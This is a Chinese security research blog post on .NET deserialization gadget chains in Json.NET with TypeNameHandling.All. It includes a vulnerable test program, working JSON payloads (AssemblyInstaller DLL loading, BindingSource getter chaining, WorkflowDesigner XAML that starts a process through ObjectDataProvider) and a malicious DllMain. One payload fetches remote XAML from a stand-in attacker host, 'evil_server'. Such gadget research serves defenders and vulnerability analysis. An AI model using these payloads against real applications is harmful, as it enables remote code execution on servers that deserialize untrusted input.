之前写了一些ysoserial.net工具中常见的gadget,文章放在了我的GitHub,这篇文章对其进行补充。
全文以json.net
反序列化为例,开启TypeNameHandling.All
。
测试代码
1using Newtonsoft.Json;
2using System.IO;
3
4namespace ConsoleApp4
5{
6 internal class Program
7 {
8 static void Main(string[] args)
9 {
10 JsonConvert.DeserializeObject(File.ReadAllText(args[0]), new JsonSerializerSettings()
11 {
12 TypeNameHandling = TypeNameHandling.All
13 });
14
15 }
16 }
17}
这个类在GAC中,它的Path属性中会进行Assembly.LoadFrom(value)
那么构造json
1{
2 "$type": "System.Configuration.Install.AssemblyInstaller,System.Configuration.Install, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a",
3 "Path": "file:///c:/somePath/MixedLibrary.dll"
4}
其中Path属性需要是目标机器存在的一个dll。
此处的dll如果为dotnet的dll,还需要通过HelpText属性的getter触发静态构造函数中的rce。注意dll中需要标记RunInstaller并继承Installer
dll可以用混合程序集Mixed Assembly,直接修改这个项目:https://github.com/noperator/CVE-2019-18935 项目中sleep.c,修改为
1#include <windows.h>
2#include <stdio.h>
3
4BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
5{
6 if (fdwReason == DLL_PROCESS_ATTACH)
7 system("calc");
8 return TRUE;
9}
这个可以触发任意的getter,刚好接上上面的AssemblyInstaller
1{
2 "$type": "System.Windows.Forms.BindingSource, System.Windows.Forms,Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
3 "DataMember": "HelpText",
4 "dataSource": {
5 "$type": "System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a",
6 "Path": "file:///c:/somePath/MixedLibrary.dll"
7 }
8}
dataSource是个object类型的对象,放什么都行,他的DataMember调用setter时调用ResetList
在GetList中
造成任意getter调用
也在GAC中,PropertyInspectorFontAndColorData属性会进行XamlParse.load,借助ObjectDataProvider可以RCE
1{"$type":"System.Activities.Presentation.WorkflowDesigner,System.Activities.Presentation, Version=4.0.0.0, Culture=neutral,PublicKeyToken=31bf3856ad364e35",
2"PropertyInspectorFontAndColorData":"<ResourceDictionary xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" xmlns:System=\"clr-namespace:System;assembly=mscorlib\" xmlns:Diag=\"clr-namespace:System.Diagnostics;assembly=system\"> <ObjectDataProvider x:Key=\"LaunchCalc\" ObjectType=\"{x:Type Diag:Process}\" MethodName=\"Start\"> <ObjectDataProvider.MethodParameters> <System:String>calc</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider></ResourceDictionary>"
3}
限制:此类型的构造函数需要Single-Threaded-Apartment (STA)线程
可以从远程服务器下载xamlpayload,然后进行xamlreader.load
1{
2 "__type": "System.Windows.Application, PresentationFramework,Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
3 "Resources": {
4 "__type": "System.Windows.ResourceDictionary,PresentationFramework, Version=4.0.0.0, Culture=neutral,PublicKeyToken=31bf3856ad364e35",
5 "Source": "http://evil_server/EvilSite/Xamlpayload"
6 }
7}
Source的setter中
在GetObjectAndCloseStream
从MimeObjectFactory._objectConverters中拿到StreamToObjectFactoryDelegate委托调用,而_objectConverters可以通过自身Register方法注册。分析调用关系
在这里注册了XamlConverter
进行了XamlReader.Load()
最后一个
调用binaryformatter,可以二次反序列化rce。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。